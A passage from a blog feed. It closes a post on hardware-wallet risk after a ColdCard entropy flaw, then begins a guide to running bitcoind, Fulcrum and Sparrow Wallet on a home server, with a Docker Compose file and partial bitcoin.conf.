<li><strong>How do the hardware, firmware, and supply chain work?</strong> A secure element, ordinary microcontroller, and stateless signer make different tradeoffs. Find out what persists on the device and what a physical attacker can extract. Releases should be signed, have useful changelogs, prevent unsafe downgrades, and receive maintenance for years. Research how the device proves authenticity, how the company documents packaging and transport, what happens if the update server disappears, and which closed components exist. An air gap is not a magic seal either: QR, NFC, and microSD are input parsers and remain an attack surface.</li>
<li><strong>Can you recover without improvising?</strong> Before depositing meaningful value, generate the wallet, back it up, erase the device, and recover. Verify the fingerprint, an address, and a complete round-trip transaction. In multisig, restore the descriptor and prove the quorum works without one key. An untested backup is hope, not a backup.</li>
</ol>
<p>I would also research the repository history, security issues, recent commits, independent audits, and the time between a vulnerability report and its fix. I would search for the model name alongside <code>vulnerability</code>, <code>reproducible build</code>, <code>seed entropy</code>, <code>multisig</code>, and <code>responsible disclosure</code>. An influencer review with an affiliate link is useful for seeing the screen and device size, not for deciding where to store your wealth.</p>
<p>For small amounts, a thoroughly researched commercial signer may be much less risky than a handmade invention. For wealth that changes your life, 2-of-3 with different manufacturers and codebases remains the reference, as <a href="https://sparrowwallet.com/docs/best-practices.html"target="_blank" rel="noopener">Sparrow&rsquo;s guide</a> recommends. It limits the damage from one compromised vendor, but demands more backups, more testing, and a well-documented policy. Multisig you cannot restore is worse than well-maintained single-sig.</p>
<p>In some collaborative custody services, a company holds one key in a 2-of-3 setup. It should not be able to spend alone, but it learns information about your wallet and can disappear, deny service, or complicate recovery. A professional custodian also exchanges technical risk for legal and counterparty risk. In the end, you choose which risk you carry and which you hand to someone else.</p>
<p>The best recommendation I can offer is not a brand. Choose an architecture proportional to the amount and determine which failures it tolerates. Before depositing money that would hurt to lose, run the entire flow with a small amount: receive, spend, erase one signer, restore the backup, and see whether you can return on your own.</p>
<h2>Conclusion<span class="hx:absolute hx:-mt-20" id="conclusion"></span>
    <a href="#conclusion" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Self-custody removes the custodian but leaves a brutal responsibility behind. Trust remains spread across silicon, firmware, the compiler, the build process, the wallet coordinator, and your own discipline. Hardware wallets remain useful because doing everything by hand is impractical for almost everyone. The mistake is confusing the tool with a guarantee.</p>
<p>I do not recommend a specific brand today. I prefer to distribute risk and create ways to catch failures: independent entropy sources, free code, reproducible builds verified by third parties, rehearsed recoveries, different signers, and multisig when the amount justifies it and you accept the bureaucracy. Single-sig with a passphrase is an understandable choice. It simply does not provide the same fault tolerance. Make that choice knowing what you delegate and which risk you decided to keep.</p>
<p>This may become <strong>one of the worst episodes in the history of Bitcoin self-custody</strong>. Not because someone left coins on a shitty exchange, typed a seed into a phishing site, or installed a pirated wallet. Many people bought a dedicated device, wrote down 24 words, kept the backup in steel, kept everything offline, and signed through an air gap. They did exactly what Bitcoin culture taught as the correct procedure. A nasty bug still caught them at the most important moment of all: choosing the root.</p>
<blockquote>
  <p>In the worst cases, the RNG reduced the universe to something around <code>2^40</code>. The attacker does not need to touch the ColdCard. They enumerate possible states, derive the most likely BIP32 trees and addresses, query the public blockchain, and find which candidates hold UTXOs. Once they find one, they also have the private keys needed to sign. The ColdCard may be powered off, without a battery or USB cable, and locked in a safe. It makes no difference. An air gap protects the path between signer and computer; it cannot recover entropy that never existed.</p>

</blockquote>
<p>There was no visible warning. The wallet received, signed, and restored normally until the day someone else reproduced the same key. That is why 12 versus 24 words, air gap versus USB, and secure element versus microcontroller become secondary debates when nobody tested whether the <strong>New Wallet</strong> button called the correct RNG.</p>
<p>It also shows why I refuse to call negligence a black swan. The source was open, the path was auditable, and the culture pushed away some of the people most capable of spotting problems. It was a white swan waiting for someone to look in the right direction.</p>
<blockquote>
  <p>The lesson is not to abandon self-custody. It is to stop outsourcing understanding. Study the threat model, find out how entropy is generated, inspect the manufacturer&rsquo;s history, rehearse recovery, and know which risks remain concentrated. Do not blindly trust a company, certification, influencer, tutorial, or article. Not even this one. Verify.</p>

</blockquote>
<p>I have already moved my funds from the old ColdCard. In practice, if you own any ColdCard, do the same. There is no prize for finding out too late that your case had another undocumented exception.</p>
<p>Choose the new architecture using the criteria above. Generate a completely new root. Mix genuinely independent entropy. Test the backup. Verify the addresses. Move everything.</p>
]]></content:encoded><category>bitcoin-and-cryptocurrency</category><category>security</category><category>hardware</category></item><item><title>Bitcoin on the Home Server: Sovereignty and Privacy with Coldcard, Sparrow and Fulcrum</title><link>https://akitaonrails.github.io/en/2026/04/01/bitcoin-on-the-home-server-sovereignty-with-coldcard-sparrow-fulcrum/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2026/04/01/bitcoin-on-the-home-server-sovereignty-with-coldcard-sparrow-fulcrum/</guid><pubDate>Wed, 01 Apr 2026 19:00:00 -0300</pubDate><description>&lt;p&gt;This post is a direct follow-up to my recent articles about the &lt;a href="https://akitaonrails.github.io/en/2026/03/31/migrating-my-home-server-with-claude-code/"&gt;new home server with openSUSE MicroOS&lt;/a&gt; and the &lt;a href="https://akitaonrails.github.io/en/2026/03/31/minisforum-ms-s1-max-amd-ai-max-395-review/"&gt;Minisforum MS-S1 Max&lt;/a&gt;. Those covered the foundation. Here I want to show one concrete use for it: putting together a decent Bitcoin stack at home, focused on privacy, operational sovereignty and safe transactions on my side.&lt;/p&gt;
&lt;p&gt;First things first: this isn&amp;rsquo;t an evangelism piece or a day-trading pitch. Quite the opposite. As I write this, on April 1, 2026, Bitcoin is around US$ 68k and close to R$ 391k, below the 2025 peaks. Plenty of people look at that and either panic or start fantasizing about leveraged trades. I think both reactions are wrong. There&amp;rsquo;s a &amp;ldquo;super cycle&amp;rdquo; thesis floating around based on institutional demand, spot ETFs and the lagged halving effect. Maybe. Maybe not. What I do know is that short-term candles don&amp;rsquo;t change the part I actually care about: infrastructure. If you need leverage to &amp;ldquo;speed up your gains,&amp;rdquo; you&amp;rsquo;re probably just speeding up your chances of getting liquidated.&lt;/p&gt;</description><content:encoded><![CDATA[<p>This post is a direct follow-up to my recent articles about the <a href="/en/2026/03/31/migrating-my-home-server-with-claude-code/">new home server with openSUSE MicroOS</a> and the <a href="/en/2026/03/31/minisforum-ms-s1-max-amd-ai-max-395-review/">Minisforum MS-S1 Max</a>. Those covered the foundation. Here I want to show one concrete use for it: putting together a decent Bitcoin stack at home, focused on privacy, operational sovereignty and safe transactions on my side.</p>
<p>First things first: this isn&rsquo;t an evangelism piece or a day-trading pitch. Quite the opposite. As I write this, on April 1, 2026, Bitcoin is around US$ 68k and close to R$ 391k, below the 2025 peaks. Plenty of people look at that and either panic or start fantasizing about leveraged trades. I think both reactions are wrong. There&rsquo;s a &ldquo;super cycle&rdquo; thesis floating around based on institutional demand, spot ETFs and the lagged halving effect. Maybe. Maybe not. What I do know is that short-term candles don&rsquo;t change the part I actually care about: infrastructure. If you need leverage to &ldquo;speed up your gains,&rdquo; you&rsquo;re probably just speeding up your chances of getting liquidated.</p>
<p>For me, the useful question isn&rsquo;t &ldquo;is it going up tomorrow?&rdquo; The useful question is: &ldquo;if I want to store and move Bitcoin without outsourcing everything to an exchange, a web wallet and a public API, how do I set that up properly at home?&rdquo;</p>
<h2>The real problem: too much convenience costs too much privacy<span class="hx:absolute hx:-mt-20" id="the-real-problem-too-much-convenience-costs-too-much-privacy"></span>
    <a href="#the-real-problem-too-much-convenience-costs-too-much-privacy" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Most people&rsquo;s default flow is simple: buy on an exchange, leave the balance sitting there, or install some random wallet on the phone and call it done. It works. It also concentrates risk and leaks metadata everywhere.</p>
<p>If you leave a balance on an exchange, you have custody risk. If you use a desktop wallet pointed at a public server, you have privacy risk. If you use a hardware wallet casually, bought second-hand on Mercado Livre, you have supply chain risk. Mix all that with hurry, and it gets worse.</p>
<p>That&rsquo;s why I ended up at a combination that, for someone technical who wants to run their own infra, feels pretty solid:</p>
<ul>
<li>Coldcard for cold storage</li>
<li>Sparrow Wallet on Linux as the desktop wallet and transaction coordinator</li>
<li>Fulcrum on the home server as a private Electrum server</li>
<li>bitcoind on the same server as a real full node, validating the chain and broadcasting without depending on third parties</li>
</ul>
<p>It&rsquo;s not the easiest path. But that&rsquo;s exactly the point. Real security rarely comes from the easiest path.</p>
<h2>The concepts that confuse beginners<span class="hx:absolute hx:-mt-20" id="the-concepts-that-confuse-beginners"></span>
    <a href="#the-concepts-that-confuse-beginners" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Before getting into the stack, it&rsquo;s worth aligning on four terms that usually get tossed around like everyone already knows them:</p>
<table>
  <thead>
      <tr>
          <th>Concept</th>
          <th>What it is</th>
          <th>Why it matters</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Airgap</td>
          <td>A device that never touches the internet, not even over data USB</td>
          <td>Reduces the signer&rsquo;s attack surface</td>
      </tr>
      <tr>
          <td>PSBT</td>
          <td>Partially Signed Bitcoin Transaction</td>
          <td>Standard format for preparing, signing and finalizing transactions in stages</td>
      </tr>
      <tr>
          <td>Watch-only wallet</td>
          <td>A wallet that sees balances/addresses but doesn&rsquo;t hold a private key</td>
          <td>Great for the desktop: it observes and assembles the transaction, but doesn&rsquo;t sign</td>
      </tr>
      <tr>
          <td>Full node</td>
          <td>A node that validates blocks and protocol rules locally</td>
          <td>You don&rsquo;t have to &ldquo;trust&rdquo; anyone&rsquo;s API</td>
      </tr>
      <tr>
          <td>Electrum server</td>
          <td>An indexing layer that quickly answers wallet queries</td>
          <td>Without one, desktop wallets end up dependent on public servers</td>
      </tr>
  </tbody>
</table>
<p>In plain language, the flow looks like this:</p>
<ol>
<li>Sparrow, on the desktop, builds the transaction.</li>
<li>That transaction becomes a PSBT.</li>
<li>The PSBT goes to the Coldcard via microSD.</li>
<li>The Coldcard signs it offline.</li>
<li>The signed file goes back to Sparrow.</li>
<li>Sparrow broadcasts through your own server, not through someone else&rsquo;s public infrastructure.</li>
</ol>
<p>That&rsquo;s what people mean by &ldquo;airgapped workflow.&rdquo; It&rsquo;s not magic. It&rsquo;s just disciplined separation of roles.</p>
<h2>Coldcard: cold signer, offline, the right kind of annoying<span class="hx:absolute hx:-mt-20" id="coldcard-cold-signer-offline-the-right-kind-of-annoying"></span>
    <a href="#coldcard-cold-signer-offline-the-right-kind-of-annoying" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>I use <a href="https://coldcard.com/"target="_blank" rel="noopener">Coldcard</a> as cold storage. The reason is simple: it was designed from day one as a Bitcoin-only device, with a heavy focus on airgapped operation through microSD. That alone eliminates an entire category of &ldquo;conveniences&rdquo; that many people find practical, but that I&rsquo;d rather not have anywhere near my keys.</p>
<p><a href="https://coldcard.com/mk4"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/bitcoin-sovereignty/coldcard-mk4-official.png" alt="Coldcard Mk4 on the official Coinkite site"  loading="lazy" /></a></p>
<p>In practice, the Coldcard holds the most important part of the system: the private key. It doesn&rsquo;t need to know about a server, Electrum, public API, exchange, or any of that. Its job is one thing: sign transactions offline.</p>
<p>That decoupling is great for two reasons:</p>
<ul>
<li>The desktop can be convenient without becoming a single point of failure.</li>
<li>The signer stays isolated even if your main machine has problems.</li>
</ul>
<p>And here&rsquo;s a warning I really want to put in mental all-caps:</p>
<p><strong>Never buy a hardware wallet second-hand. Ever.</strong></p>
<p>This isn&rsquo;t an exaggeration. You have no way to actually know what happened to that device before it reached your hands. It could have a pre-generated seed, tampered firmware, swapped components, repackaged box, compromised supply chain, or simply some dumb trick waiting for you to let your guard down. Hardware wallet is one of those categories where saving R$ 300 buying used is insanity. Always buy from the manufacturer&rsquo;s official site or from a reseller officially authorized by the manufacturer. And even then, check seals, provenance and firmware.</p>
<h2>Can you do something similar with an old phone?<span class="hx:absolute hx:-mt-20" id="can-you-do-something-similar-with-an-old-phone"></span>
    <a href="#can-you-do-something-similar-with-an-old-phone" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>You can. But I&rsquo;d treat it as a study or budget alternative, not as an obvious substitute for a Coldcard.</p>
<p>The most serious path for that today is <a href="https://airgap.it/"target="_blank" rel="noopener">AirGap Vault</a>, which was specifically designed to use an old smartphone as an offline signer over QR codes, keeping the device off the network. The idea is good, and for many people it might be the right entry point.</p>
<p>But there are trade-offs:</p>
<ul>
<li>An old smartphone wasn&rsquo;t designed as a dedicated hardware wallet</li>
<li>The device&rsquo;s prior history matters</li>
<li>An aged battery, bad screen and abandoned Android are real problems</li>
<li>The threat model is less clear than on a dedicated device</li>
</ul>
<p>So my view is simple: can you use it? Yes. Would I recommend it as the main solution for storing meaningful wealth? No. For that I still prefer dedicated hardware bought from the right source.</p>
<h2>Sparrow Wallet: the best desktop piece in this puzzle<span class="hx:absolute hx:-mt-20" id="sparrow-wallet-the-best-desktop-piece-in-this-puzzle"></span>
    <a href="#sparrow-wallet-the-best-desktop-piece-in-this-puzzle" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>On Linux, I use <a href="https://sparrowwallet.com/"target="_blank" rel="noopener">Sparrow Wallet</a>. For me, today, it&rsquo;s one of the best pieces of software in this ecosystem.</p>
<p><a href="https://www.sparrowwallet.com/features/"target="_blank" rel="noopener"><img src="https://new-uploads-akitaonrails.s3.us-east-2.amazonaws.com/2026/04/01/bitcoin-sovereignty/sparrow-transactions.png" alt="Sparrow Wallet running, showing a detailed history of the wallet and transactions"  loading="lazy" /></a></p>
<p>What I like about it:</p>
<ul>
<li>works very well on Linux desktop</li>
<li>supports hardware wallets properly</li>
<li>understands PSBT without drama</li>
<li>makes it crystal clear what&rsquo;s happening in a transaction</li>
<li>it&rsquo;s great as a watch-only wallet</li>
</ul>
<p>In my flow, Sparrow does three things:</p>
<ol>
<li>Holds the watch-only wallet.</li>
<li>Builds the transaction with outputs and fees.</li>
<li>Receives the signature back from the Coldcard and broadcasts it.</li>
</ol>
<p>That separation is elegant. The desktop becomes the coordinator. The signer stays cold.</p>
<h2>Why Coldcard + Sparrow works so well<span class="hx:absolute hx:-mt-20" id="why-coldcard--sparrow-works-so-well"></span>
    <a href="#why-coldcard--sparrow-works-so-well" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>This combo is good because each piece does what it does best:</p>
<ul>
<li>the Coldcard protects the key</li>
<li>Sparrow organizes the human use of the wallet</li>
<li>the server handles the infrastructure</li>
</ul>
<p>A lot of wallets try to do everything. I prefer this modular design. It&rsquo;s less &ldquo;magic,&rdquo; more explicit, and easier to reason about without lying to yourself.</p>
<p>If I&rsquo;m at the desktop, I want visibility. If I&rsquo;m at the signer, I want isolation. If I&rsquo;m at the server, I want validation and a local index. That division is clean.</p>
<h2>The Sparrow problem when you don&rsquo;t run your own infra<span class="hx:absolute hx:-mt-20" id="the-sparrow-problem-when-you-dont-run-your-own-infra"></span>
    <a href="#the-sparrow-problem-when-you-dont-run-your-own-infra" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Now comes the important detail. Sparrow alone doesn&rsquo;t solve privacy.</p>
<p>If you install it, open it and just use public servers, the people on the other end learn quite a lot about your wallet: your address set, xpubs or derivations, balance, history, query behavior, broadcast. It&rsquo;s not custody, but it&rsquo;s still exposure.</p>
<p>That&rsquo;s the hole Fulcrum fills.</p>
<h2>Fulcrum: the home&rsquo;s private Electrum server<span class="hx:absolute hx:-mt-20" id="fulcrum-the-homes-private-electrum-server"></span>
    <a href="#fulcrum-the-homes-private-electrum-server" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><a href="https://github.com/cculianu/Fulcrum"target="_blank" rel="noopener">Fulcrum</a> is an Electrum server. Instead of letting Sparrow ask things of a third-party public server, it asks my own server.</p>
<p>In practice, that means:</p>
<ul>
<li>local balance lookups</li>
<li>local history</li>
<li>local address discovery</li>
<li>local broadcast</li>
</ul>
<p>In other words: the desktop wallet stops &ldquo;phoning home&rdquo; to the world every time you open the program.</p>
<p>In my current setup, Sparrow points at a Fulcrum running on the home server on the LAN, with port <code>50001</code> on the internal network and <code>50002</code> with TLS.</p>
<h2>And why Fulcrum isn&rsquo;t enough on its own<span class="hx:absolute hx:-mt-20" id="and-why-fulcrum-isnt-enough-on-its-own"></span>
    <a href="#and-why-fulcrum-isnt-enough-on-its-own" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Because Fulcrum doesn&rsquo;t replace a full node. It indexes on top of a full node.</p>
<p>The thing actually validating blocks, consensus rules, scripts, transactions and the chain is <code>bitcoind</code>. Fulcrum sits in front of it as an indexing layer, because plain Bitcoin Core wasn&rsquo;t built to serve a desktop wallet with that kind of fast querying.</p>
<p>So the correct architecture is:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-text" data-lang="text"><span class="line"><span class="cl">Coldcard (offline signer)
</span></span><span class="line"><span class="cl">        ^
</span></span><span class="line"><span class="cl">        | microSD / PSBT
</span></span><span class="line"><span class="cl">        v
</span></span><span class="line"><span class="cl">Sparrow Wallet (desktop watch-only + coordinator)
</span></span><span class="line"><span class="cl">        |
</span></span><span class="line"><span class="cl">        v
</span></span><span class="line"><span class="cl">Fulcrum (private Electrum server)
</span></span><span class="line"><span class="cl">        |
</span></span><span class="line"><span class="cl">        v
</span></span><span class="line"><span class="cl">bitcoind (full node)</span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<h2>What I actually brought up on the home server<span class="hx:absolute hx:-mt-20" id="what-i-actually-brought-up-on-the-home-server"></span>
    <a href="#what-i-actually-brought-up-on-the-home-server" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>On my home server, the stack lives in a dedicated Docker Compose folder and is made of two containers:</p>
<ul>
<li><code>bitcoin-bitcoind</code></li>
<li><code>bitcoin-fulcrum</code></li>
</ul>
<p>The compose is simple. And that&rsquo;s good. Sensitive infra doesn&rsquo;t gain anything by getting clever in YAML.</p>
<p>The main design is this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">services</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">bitcoin</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">lncm/bitcoind:v28.0</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l">bitcoin-bitcoind</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">user</span><span class="p">:</span><span class="w"> </span><span class="s2">&#34;${BITCOIN_UID}:${BITCOIN_GID}&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">always</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">security_opt</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">label:disable</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">/srv/bitcoin/data:/data/.bitcoin</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;8333:8333&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">stop_grace_period</span><span class="p">:</span><span class="w"> </span><span class="l">5m</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">healthcheck</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">test</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;CMD&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;bitcoin-cli&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;-datadir=/data/.bitcoin&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;ping&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">interval</span><span class="p">:</span><span class="w"> </span><span class="l">30s</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">timeout</span><span class="p">:</span><span class="w"> </span><span class="l">10s</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">retries</span><span class="p">:</span><span class="w"> </span><span class="m">5</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">start_period</span><span class="p">:</span><span class="w"> </span><span class="l">60s</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">fulcrum</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">image</span><span class="p">:</span><span class="w"> </span><span class="l">cculianu/fulcrum:latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">container_name</span><span class="p">:</span><span class="w"> </span><span class="l">bitcoin-fulcrum</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">restart</span><span class="p">:</span><span class="w"> </span><span class="l">always</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">security_opt</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">label:disable</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">volumes</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">/srv/bitcoin/fulcrum:/data</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="l">/srv/bitcoin/data:/bitcoin:ro</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">command</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;Fulcrum&#34;</span><span class="p">,</span><span class="w"> </span><span class="s2">&#34;/data/fulcrum.conf&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">ports</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;50001:50001&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="s2">&#34;50002:50002&#34;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">depends_on</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="nt">bitcoin</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">condition</span><span class="p">:</span><span class="w"> </span><span class="l">service_healthy</span></span></span></code></pre></div></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>In my case, the restriction of <code>50001</code> to LAN happens at the host&rsquo;s network layer. The YAML above is the skeleton of the stack, not the entire firewall policy.</p>
<p>The most important parts of this:</p>
<ul>
<li><code>restart: always</code> because this is a long-running service</li>
<li>explicit volume so state isn&rsquo;t lost</li>
<li><code>user: &quot;${BITCOIN_UID}:${BITCOIN_GID}&quot;</code> because the persistent directory needs to match the storage&rsquo;s real ownership, so I&rsquo;d rather pin UID/GID explicitly than trust the image&rsquo;s default</li>
<li>the RPC isn&rsquo;t published on the host; it stays on the Compose internal network, which is all Fulcrum needs</li>
<li>the healthcheck uses Bitcoin Core&rsquo;s own local <code>.cookie</code>, so there&rsquo;s no need to spread a fixed password through commands</li>
<li>Fulcrum mounts the node&rsquo;s datadir as read-only just to authenticate via the <code>.cookie</code> without inventing parallel credentials</li>
<li>in <code>fulcrum.conf</code>, that becomes a simple configuration: talk to <code>bitcoin:8332</code> and read the mounted <code>.cookie</code>, instead of repeating credentials in plaintext</li>
<li><code>security_opt: label:disable</code> because on this host with MicroOS, SELinux and sensitive bind mounts, I preferred the pragmatic route of disarming this specific friction rather than wasting time fighting labels on a volume that&rsquo;s already being handled in a controlled way</li>
<li><code>depends_on</code> with <code>service_healthy</code> so Fulcrum only comes up after bitcoind&rsquo;s RPC is responding</li>
<li><code>stop_grace_period: 5m</code> because bitcoind needs real time to flush state on a graceful shutdown</li>
</ul>
<h2>The final version<span class="hx:absolute hx:-mt-20" id="the-final-version"></span>
    <a href="#the-final-version" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Today, the design I want to keep is this: <code>bitcoind</code> with <code>txindex</code>, <code>dbcache=1024</code>, persistent volume, 5-minute graceful stop, <code>.cookie</code> authentication, and Fulcrum in front serving Sparrow over LAN or TLS.</p>
<p>The current stack looks like this:</p>
<table>
  <thead>
      <tr>
          <th>Component</th>
          <th>State</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Bitcoin Core</td>
          <td><code>28.0</code></td>
      </tr>
      <tr>
          <td>Fulcrum</td>
          <td><code>2.1.0</code></td>
      </tr>
      <tr>
          <td>Container stop timeout</td>
          <td><code>300</code> seconds</td>
      </tr>
      <tr>
          <td>Node data dir</td>
          <td>dedicated persistent volume mounted at <code>/data/.bitcoin</code></td>
      </tr>
      <tr>
          <td>Network</td>
          <td><code>8333</code> for P2P, RPC only on the Compose internal network, <code>50001/50002</code> for the private Electrum</td>
      </tr>
  </tbody>
</table>
<p>I&rsquo;m not interested in turning this into a spectacle. The point is simpler: the final infrastructure has to be boring, predictable and stable.</p>
<h2>The tunings that actually matter<span class="hx:absolute hx:-mt-20" id="the-tunings-that-actually-matter"></span>
    <a href="#the-tunings-that-actually-matter" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>There&rsquo;s no magic here. There are a few parameters that make a real difference and a bunch of stuff that just decorates compose files.</p>
<p><code>stop_grace_period: 5m</code> exists because bitcoind isn&rsquo;t a disposable stateless API container. It maintains chainstate, indexes and an in-memory cache. If you don&rsquo;t give the process time to finish properly, you create unnecessary work for the next start.</p>
<p><code>user: &quot;${BITCOIN_UID}:${BITCOIN_GID}&quot;</code> is there for a much less glamorous and much more important reason: persistent storage with the wrong permissions is an excellent way to break a working service. So I&rsquo;d rather align the container with the volume&rsquo;s actual ownership instead of leaving that implicit.</p>
<p><code>dbcache=1024</code> is the spot I find most reasonable for a domestic node that&rsquo;s always on. Big enough not to suffer constant I/O, small enough that every restart isn&rsquo;t a labor.</p>
<p><code>txindex=1</code> I keep because I want the complete node, not a minimalist install just to claim &ldquo;it runs Bitcoin.&rdquo; If the goal here is operational autonomy, I&rsquo;d rather have the full index.</p>
<p><code>rpcworkqueue=512</code> and <code>rpcthreads=16</code> are the kind of tweak that makes sense when you know you&rsquo;ll have Fulcrum querying the node all day and you want some headroom.</p>
<p>On the Fulcrum side, the main parameters are:</p>
<ul>
<li><code>db_mem = 8192</code></li>
<li><code>db_max_open_files = -1</code></li>
<li><code>bitcoind_clients = 8</code></li>
<li><code>worker_threads = 0</code></li>
<li><code>peering = false</code></li>
</ul>
<p>Again: nothing esoteric. Just enough cache, reasonable parallelism and absolutely no announcing this server as a public service.</p>
<p>In my current <code>bitcoin.conf</code>, the important core ended up like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-ini" data-lang="ini"><span class="line"><span class="cl"><span class="na">server</span><span class="o">=</span><span class="s">1</span>
</span></span><span class="line"><span class="cl"><span class="na">txindex</span><span class="o">=</span><span class="s">1</span>
</span></span><span class="line"><span class="cl"><span class="na">prune</span><span class="o">=</span><span class="s">0</span>
</span></span><span class="line"><span class="cl"><span class="na">rpcbind</span><span class="o">=</span><span class="s">0.0.0.0</span>
</span></span><span class="line"><span class="cl"><span class="na">rpcallowip</span><span class="o">=</span><span class="s">172.0.0.0/8</span>
